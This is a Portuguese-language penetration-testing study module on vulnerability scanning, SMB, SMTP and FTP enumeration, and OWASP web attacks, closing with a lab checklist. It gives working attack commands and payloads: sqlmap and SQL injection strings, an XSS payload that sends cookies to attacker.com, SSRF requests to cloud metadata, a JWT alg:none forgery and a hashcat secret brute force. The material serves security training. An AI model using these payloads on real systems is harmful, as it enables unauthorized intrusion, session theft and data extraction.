Com o mapa do alvo em mãos, agora você procura as fraquezas. Esta fase combina scanners automatizados com enumeração manual profunda de serviços e análise das vulnerabilidades web mais críticas.
NESSUSNUCLEIBURP SUITESQLMAPSMBOWASPJWT
01
Automatizado + manual
Vulnerability Scanning
Scanners de vulnerabilidade automatizam a verificação de problemas conhecidos — versões desatualizadas, configurações incorretas, CVEs públicos. São ruidosos (geram muito tráfego) e nunca substituem análise manual, mas cobrem rapidamente a superfície óbvia.
Ferramentas de Scanning
Scanner
Nessus / OpenVAS
Scanners abrangentes de vulnerabilidade de infraestrutura. Testam serviços, versões, configurações, credenciais padrão, patches ausentes. Nessus é comercial (versão Essentials gratuita para até 16 IPs). OpenVAS é open-source. Output inclui CVSS score, CVE e recomendação de remediação.
Use para cobertura ampla rápida. Depois valide manualmente os findings críticos antes de incluir no relatório.
Scanner
Nuclei — Templates por CVE
Scanner baseado em templates YAML, um por vulnerabilidade. Comunidade contribui templates para CVEs recentes. Muito mais rápido e menos ruidoso que Nessus. Ideal para testar uma vulnerabilidade específica em muitos alvos.
# Scan com todos os templatesnuclei-uhttps://alvo.com# Só vulnerabilidades críticas e altasnuclei-uhttps://alvo.com-severity critical,high# Template específico (ex: Log4Shell)nuclei-uhttps://alvo.com-tcves/2021/CVE-2021-44228.yaml
Para cada serviço encontrado no recon, existe um conjunto de técnicas de enumeração específicas. O objetivo é extrair o máximo de informação antes de partir para exploração: usuários, shares, políticas, endpoints.
SMB — Porta 445
Por que SMB é crítico
SMB é o protocolo de compartilhamento de arquivos do Windows. Em redes corporativas, é onipresente. Null sessions (sem credencial) às vezes retornam usuários e shares. Com credencial, você pode mapear toda a rede de shares, baixar arquivos e eventualmente executar comandos remotos via psexec.
SMB
Enumeração de Shares e Usuários
Listar compartilhamentos de rede e usuários do sistema via SMB. Null session = conexão sem credencial. Às vezes ainda funciona em sistemas legados.
# Enumeração completa com enum4linuxenum4linux-a192.168.1.10# Listar sharessmbclient-L//192.168.1.10-N# Verificar permissões nos sharessmbmap-H192.168.1.10# Com credencialsmbmap-H192.168.1.10-uusuario-psenha
SMB
rpcclient — Enumeração via RPC
Interface de linha de comando para o protocolo RPC do Windows. Permite enumerar usuários, grupos, políticas de senha e informações do domínio mesmo com null session em alguns casos.
rpcclient-U ""192.168.1.10-N# Dentro do rpcclient:enumdomusers# lista usuários do domínioenumdomgroups# lista gruposquerydominfo# info do domíniogetdompwinfo# política de senha
SMTP
User Enumeration via SMTP
Comandos VRFY e EXPN do protocolo SMTP permitem verificar se um usuário existe no servidor de email. Útil para construir listas de usuários válidos para ataques de senha.
ncalvo.com 25VRFY admin250 admin@alvo.com# usuário existeVRFY fantasma550 User unknown# não existe
FTP
FTP Anônimo
FTP com login anônimo habilitado permite acesso sem credencial. Arquivos de configuração, backups e documentos internos frequentemente ficam em servidores FTP esquecidos.
FTP anônimo com permissão de escrita = upload de webshell se o diretório for acessível via HTTP.
HTTP — Enumeração Manual
HTTP
Métodos HTTP permitidos
Métodos como PUT e DELETE não deveriam estar habilitados em produção. PUT pode permitir upload de arquivos arbitrários. Verifique quais métodos o servidor aceita.
Análise de cookies pode revelar: valores previsíveis, ausência de flag HttpOnly (acessível via JS → XSS grave), ausência de Secure (trafega em HTTP), ausência de SameSite (CSRF). Use Burp Suite para interceptar e analisar.
Cookie sem HttpOnly + XSS = sequestro de sessão direto com document.cookie.
HTTP
robots.txt e sitemap.xml
robots.txt lista caminhos que o administrador não quer que buscadores indexem — frequentemente revela painéis de admin, endpoints sensíveis. sitemap.xml lista todos os caminhos públicos. Ambos são leitura obrigatória.
Esta seção detalha as técnicas de identificação e teste das vulnerabilidades web mais relevantes. O Burp Suite é a ferramenta central — proxy que intercepta toda comunicação entre seu browser e o servidor.
Burp Suite — Seu proxy central
Como usar
Configure seu browser para usar Burp como proxy (127.0.0.1:8080). Todo tráfego HTTP/HTTPS passa pelo Burp, onde você pode interceptar, modificar e reenviar requisições. A aba Repeater permite testar payloads manualmente. Intruder faz fuzzing automatizado. Scanner (Pro) detecta vulnerabilidades automaticamente.
OWASP A03
SQL Injection — Detecção Manual
Insira caracteres especiais em campos de input e observe erros ou comportamento diferente. Um ' quebrando a query SQL é o sinal clássico. Depois valide com sqlmap.
# Payloads de detecção básica'# erro de SQL = vulnerável1' OR '1'='1# bypass de autenticação1' OR '1'='1'--# comentar o resto da query1 UNION SELECT 1,2,3--# UNION-based# Automatizar com sqlmapsqlmap-u"https://alvo.com/user?id=1"--dbssqlmap-u"https://alvo.com/user?id=1"-D dbname --tablessqlmap-rrequest.txt--level 5 --risk 3
Salve a requisição do Burp em arquivo e passe com -r para o sqlmap. Mais preciso que passar a URL.
OWASP A03
XSS — Cross-Site Scripting
Reflected: payload na URL, executado uma vez. Stored: payload salvo no banco, executado para todos que visitam. DOM: manipulação do DOM via JavaScript sem passar pelo servidor.
# Payload básico de detecção<script>alert(1)</script><img src=x onerror=alert(1)>"><script>alert(1)</script># XSS para roubo de cookie<script>fetch('http://attacker.com/?c='+document.cookie)</script>
OWASP A01
IDOR — Insecure Direct Object Reference
Acesso a recursos de outros usuários trocando um identificador na URL ou corpo da requisição. A vulnerabilidade mais comum e frequentemente mais impactante.
# Você acessa seu perfil em:GET /api/users/1337/profile# Tente acessar outro usuário:GET /api/users/1338/profile200 OK {"name":"outro usuario","email":"..."} ← IDOR!# IDOR em UUID: use Burp Intruder para iterar
IDORs em APIs REST são extremamente comuns. Teste em TODOS os endpoints que referenciam IDs.
OWASP A07
JWT — JSON Web Token Attacks
JWTs são tokens de autenticação com três partes: header.payload.signature. Ataques comuns: algoritmo none (sem assinatura), confusão RS256→HS256, brute force da chave secreta fraca.
# Decodificar JWT (base64)echo"eyJhbGci..." | base64 -d# Ataque alg:none — remover assinatura# Header: {"alg":"none","typ":"JWT"}# Payload: {"sub":"1","admin":true}# Signature: (vazio)# Brute force da secret com hashcathashcat-a 0 -m 16500token.txt wordlist.txt
OWASP A05
CORS Misconfiguration
CORS mal-configurado permite que sites externos façam requisições autenticadas à API. Se Access-Control-Allow-Origin reflete a origem da requisição + Access-Control-Allow-Credentials: true, é explorável.
Com CORS refletindo + credentials: true, um site malicioso pode roubar dados da API usando a sessão da vítima.
OWASP A10
SSRF — Server-Side Request Forgery
O servidor faz uma requisição para uma URL que você controla. Permite acessar serviços internos, cloud metadata (AWS IMDS), e às vezes executar código. Qualquer campo que aceite uma URL é candidato.
# Testar campo de URLurl=http://127.0.0.1:80# acesso localhosturl=http://169.254.169.254/latest/meta-data/# AWS metadataurl=http://192.168.1.1# rede interna
PortSwigger Web Academy — Prática Obrigatória
Recurso gratuito mais valioso
O PortSwigger Web Academy (portswigger.net/web-security) tem labs interativos para cada vulnerabilidade web — do básico ao avançado. Cada lab é um ambiente real para praticar exploração. Completar todos os labs de SQL Injection, XSS e IDOR cobre a base do OWASP Top 10 na prática.
✓
Acompanhamento
Checklist de Estudo
Marque conforme for avançando. O progresso fica salvo no navegador.
Vulnerability Scanning
Rodei Nuclei em um alvo e analisei os resultadosEntendi o que cada template testou e o que o finding significa
Analisei os headers HTTP de segurança de um siteIdentifiquei quais estavam ausentes e o risco de cada ausência
Executei testssl.sh em um servidor e interpretei os resultadosVersões TLS, ciphers fracos, vulnerabilidades
Enumeração de Serviços
Enumeração SMB com enum4linux ou smbmapListei shares e tentei null session
Testei FTP anônimo em um servidor de laboratórioConectei e listei arquivos disponíveis
Verifiquei métodos HTTP permitidos em um servidor webOPTIONS e Nmap http-methods script
Li o robots.txt e sitemap.xml de um alvoEncontrei ao menos um path interessante
Web — OWASP
Configurei o Burp Suite como proxy e interceptei uma requisiçãoModifiquei um parâmetro e reenviei com Repeater
Explorei SQL Injection manualmente em DVWA ou PortSwiggerExtraí dados do banco sem usar sqlmap
Explorei um XSS Stored em ambiente de laboratórioPayload persistido que executa para outros usuários
Encontrei e explorei um IDOR em laboratórioAcessei dados de outro usuário trocando um ID
Decodifiquei e analisei um JWTIdentifiquei o algoritmo, payload e tentei ataque alg:none
Completei ao menos 10 labs do PortSwigger Web AcademyCobrindo SQLi, XSS e controle de acesso